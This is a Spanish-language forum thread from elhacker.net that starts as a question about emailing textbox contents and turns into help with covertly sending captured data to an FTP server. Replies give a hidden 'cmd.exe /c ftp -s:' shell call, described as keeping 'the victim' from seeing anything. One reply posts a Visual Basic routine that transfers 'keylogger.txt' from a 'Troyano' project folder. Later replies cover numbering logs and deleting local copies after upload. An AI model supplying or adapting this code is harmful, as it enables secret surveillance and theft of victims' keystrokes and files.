Foro de elhacker.net

hola q tal esoty haciendo un programa y bueno todo el contenido de un texbox lo guardo en archivo de texto pero no se como mandar a un email , podrian ayudarme a desarrollar este pequeño programa he buscado en este foro  y en google pero el codigo es muy largo lo que quierop es envar 2 textbox o el archivo de texto a un email espero q me ayuden a desarrollar este programa  ;D

MANDAR EMAIL POR SMTP (http://foro.elhacker.net/index.php/topic,72560.0.html)[/b]


Modificalo y usa solo la parte que necesites

Yo la mensajería mail la veo la más insegura de todas puesto que no es fiable, te puede fallar en cualquier momento.
Lo mejor es usar el FTP del command, ya sabes...
ftp -s:operaciones.txt 127.0.0.1

Hey! Eso de enviar archivos por ftp de esa manera tan sencilla me interesa. ¿Podrias hablar un poco más de ella?
Gracias

Sería una cosa así, corrijanme si hay algún fallo, lo que hace es conectarse a ftp.hosting, logearse como usuario y con la contraseña 'password', subir el fichero datos.txt al ftp y cerrar la sesión

Me referia a esto

Si lees el código completo veras que esa instrucción se incluye, de todas maneras te la voy a describir...

ftp » Inicia el servicio ftp
-s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan.
ftp.hosting.com » Servidor con el que se realizará los servicios.

· Dentro de C:\datos
usuario » Usuarios para identificarse
password » Contraseña para completar la identificación
put C:\datos.txt datos.txt » Sube el archivo C:\datos.txt al directorio principal del ftp con el nombre datos.txt
bye » Finaliza la sesión FTP

Ah, vale ;) Gracias

Modificalo y usa solo la parte que necesites
no puedo por q no se cual es el codigo q necesito y digo q es muy largo y no lo entiendo , espero q si puedes lo pongas aunque yeikos pueso algo muy bueno quisiera para mandarlo a un mail espero q si sabes me puedas ayudar  :).

gracias yeikos por tu ayuda ahora podre mandar el txt  lo has explicado muy bien q la unica duda es este codigo :

shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide

por fa podrias explicarme esto para q sirve y q hace , muchas gracias

pd: existe la forma de enviarmelo a un mail es q quiero hacer un programa donde el contenido del texbox se guarde en un txt y mandarlo a su mail espero q me puedan ayudar  :)

shell » Ejecuta...
cmd.exe » La aplicación command.exe
/c » Con la siguiente serie de comandos...
ftp » Inicia el servicio FTP.
-s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan.
ftp.hosting.com » Servidor con el que se realizará los servicios.
vbhide » Ejecuta la ventana del msdos en modo oculto para que la victima no vea nada...

hola amigo hoy quize probarlo y nada no puede  :(
por q cual fue mi ??? error en q me qquivoque hize de todas las formas y nada  ???
mi nombre usuario pasword lo demas normal y nada
por fa ayudenme mi trabajo esta a un asi

Open "c:\dario.txt" For Append As #1
        Write #1, Text1.Text
        Write #1, Text2.Text
    Close #1
ademas unos de mis  intentos borro el contenido del text1 y text2 y me salio con suario paswords byess escritos ??? sera por q en tu ejm esta en output por fa espero q me ayudes  ???

Prueba utilizando PUT en vez de WRITE.

man podriasponer como quedaria dicesq le agerege tu codigo o lo ponga  aparte ???

la verdad que si te conviene por FTP porque incluso de ser desconfiables los servidores de mail, NO ahi ningun servidor SMTP (para mail) que deje mandar anonimamente los mail, es decir que ahi que loggearse primero.

si queres el de FTP:

Private Function ITCReady(ShowMessage As Boolean)
'Chekea el estado del ITC  (poner un INTERNET TRANSFER CONTROL EN EL FORMULARIO), si esta realizando una operacion no hacer nada hasta que termine
If itc.StillExecuting Then
    ITCReady = False
    If ShowMessage Then
        MsgBox "Espere por favor, todavia trabajando", vbInformation + vbOKOnly, "Ocupado"
    End If
Else
    ITCReady = True
End If
End Function

Private Sub Command1_Click()
On Error Resume Next
'Colocar un label llamado LBLSTATUS
lblstatus = "Conectando"
Dim server As String
server = "servidor"
Dim username As String
username = "usuario"
Dim password As String
password = "contraseña"
'Establecemos el protocolo y el server y el usuario
itc.Protocol = icFTP
itc.URL = server
itc.username = username
itc.Cancel
'Establecemos el password y entramos
itc.password = password
itc.RequestTimeout = 40
itc.Execute , "DIR" 'hace dir
Do While itc.StillExecuting
    DoEvents: DoEvents: DoEvents
Loop
Dim www As String
www = "www/"  'se maneja como el DOS (DIR, CD, CD.., etc..)
Dim archivo As String
archivo = "keylogger.txt" 'establecemos el archivo
itc.Execute , "CD " & Chr(34) & www & Chr(34) 'entramos a la carpeta WWW/ porque asi esta establecido en el string WWW mas arriba
'agregar un list llamado lstremotefile
lstremotefile.Clear
Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
itc.Execute , "DIR"
Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
    Kill dir & "/" & archivo
itc.Execute , "GET " & Chr(34) & archivo & Chr(34) & " " & Chr(34) & "D:\" & archivo & Chr(34) 'obtenemos archivo
End Sub

Private Sub Command2_Click()
Dim archivo As String
archivo = "prueba.txt"
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
Dim reemplazar As String
reemplazar = "prueba.txt"
'si el ITC no se esta ejecutando enviamos el archivo
If ITCReady(True) = True Then
    'Enviamos el archivo y refrescamos el LISTBOX
    itc.Execute , "PUT " & Chr(34) & dir & "\" & archivo & Chr(34) & " " & Chr(34) & archivo & Chr(34)
    Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
    lstremotefile.Clear
    itc.Execute , "DIR"
    lblstatus = "Conectado"
End If
End Sub

Private Sub Form_Load()
'ahi que loggerase primero para que funcione pone el control INTERNET TRANSFER CONTROL en el formulario llamado ITC
RecievingSize = False
End Sub

Private Sub ITC_StateChanged(ByVal State As Integer)
'Chequea el estado del ITC y lo pone de acuerdo a lo que esta haciendo
Dim Data1, RemoteFiles
Dim RemoteFileName As String

Select Case State
    Case icResolvingHost
'pone un label llamado LBLSTATUS
        lblstatus = "Buscando direccion IP"
    Case icHostResolved
        lblstatus = "IP ENCONTRADA"
    Case icConnecting
        lblstatus = "Conectando"
    Case icConnected
        lblstatus = "Conectado"
    Case icRequesting
        lblstatus = "enviando pedido"
    Case icRequestSent
        lblstatus = "pedido enviado"
    Case icReceivingResponse
        lblstatus = "Reciviendo respuesta"
    Case icResponseReceived
        lblstatus = "Respuesta recivida"
    Case icDisconnecting
        lblstatus = "Desconectando"
    Case icDisconnected
        lblstatus = "No conectado"
    Case icError
        If itc.ResponseCode = 12030 Then
            lblstatus = "No conectado"
            itc.Cancel
        End If
        If itc.ResponseCode <> 87 Then
            MsgBox itc.ResponseCode & " " & itc.ResponseInfo, vbOKOnly + vbCritical, "Error"
        End If
    Case icResponseCompleted
        'loop hasta conseguir toda la info
        Do While True
            Data1 = itc.GetChunk(4096, icString)
            If Len(Data1) = 0 Then Exit Do
            DoEvents
            RemoteFiles = RemoteFiles & Data1
        Loop
       
        Beep
       
        'si esta reciviendo dice el tamaño y sale de la SUB
        If RecievingSize Then
'pone un listbox llamado LSTREMOTEFILE
            MsgBox "El tamaño del archivo es de: " & lstremotefile.Text & " es " & RemoteFiles & " bytes", vbInformation + vbOKOnly, "Size"
            Exit Sub
        End If
       
        'Loop hasta conesguir los nombres de todos los archivos del LIST
        For i = 1 To Len(RemoteFiles)
            If Mid(RemoteFiles, i, 1) = Chr(13) Then
                If Trim(RemoteFileName) <> "" Then
                    lstremotefile.AddItem RemoteFileName
                    RemoteFileName = ""
                End If
            Else
                If Mid(RemoteFiles, i, 1) <> Chr(10) Then
                    RemoteFileName = RemoteFileName & Mid(RemoteFiles, i, 1)
                End If
            End If
        Next i
End Select
End Sub

me confundi perdon jajaj puse el # al final ejje  :P

a ver que me aclare.... yo tengo:
ahi se me guarda el archivo txt en c:\*******.txt y como hago para que ese archivo se suba automaticamente a un ftp? eske no me aclaro , losiento  :-[

pero con ese codigo abris el CMD (simbolo de sistema)
con el que di yo directamente desde visual basic

Arriva a la izquierda de tu post hay 3 botones.. uno dice MODIFICAR

dale click y mira lo q pasa ;)

cya

pues yo los veo arriba a la derecha, y son 2.... citar y modificar...  ::)

Si esta a la derecha xDD

pero s0n 3 botones: Citar, Modificar y Borrar ;D

salu2 !

 :o
yo solo tengo citar y modificar
 :o

0k ;D

-----------------------------------------------

Volviendo al tema... intente subir un archivo de texto (.txt) al ftp de yahoo (ftp.es.geocities.com) pero me lo sube en blanco :S

No se a q se deve.. .si alguien tiene alguna idea q postee plz ^^

salu2 !

Yo si he conseguido que funcione. aqui te pongo lo que yo he hecho a ver si te sirve:

Ya solucione mi problema montando un servidor FTP en mi PC ;D
gracias iwal x responder...

pd. Hice un manual para hacer un servidor FTP, si lo keres leer pasate x Troyanos y Virus (http://foro.elhacker.net/index.php/board,17.0.html)


salu2 !

y como hago para q si se encuentra otro archivo con el mismo nombre en el ftp se agrege el log y no se reemplaze o que los valla enumerando???

yo lo que he hecho es que cada archivo que cree, que se llame de una manera distinta, es decir, pones una caja de texto en la que haya que escribir algo i pones:

o otra opcion, es poner un timer que pasador 10 segundos mas o menos despues de subirlo al ftp, haga un kill c:\datos.txt

los segundos del timer, depende de lo que tarde en subir el archivo, ya que yo lo probe poniendo el kill justo despues de empezar a subir el archivo y me daba error... supongo por logica que es porke no puedes borrar el archivo mientras esta subiendo al ftp... no se si sera por eso o no el error, prueba a ver...

Para subir un archivo, primero el programa lo tiene q abrir y enviar parte por parte, y como ya se sabe, no se puede eliminar un archivo en uso... x eso t tira error

tengo un problema, me funciona bien pero cuando veo el log, esta todo en una linea, todo desordenado y en el fichero antes de enviarlo esta todo ordenado en muchas lineas.

que podra estar pasando??
ayuda xfa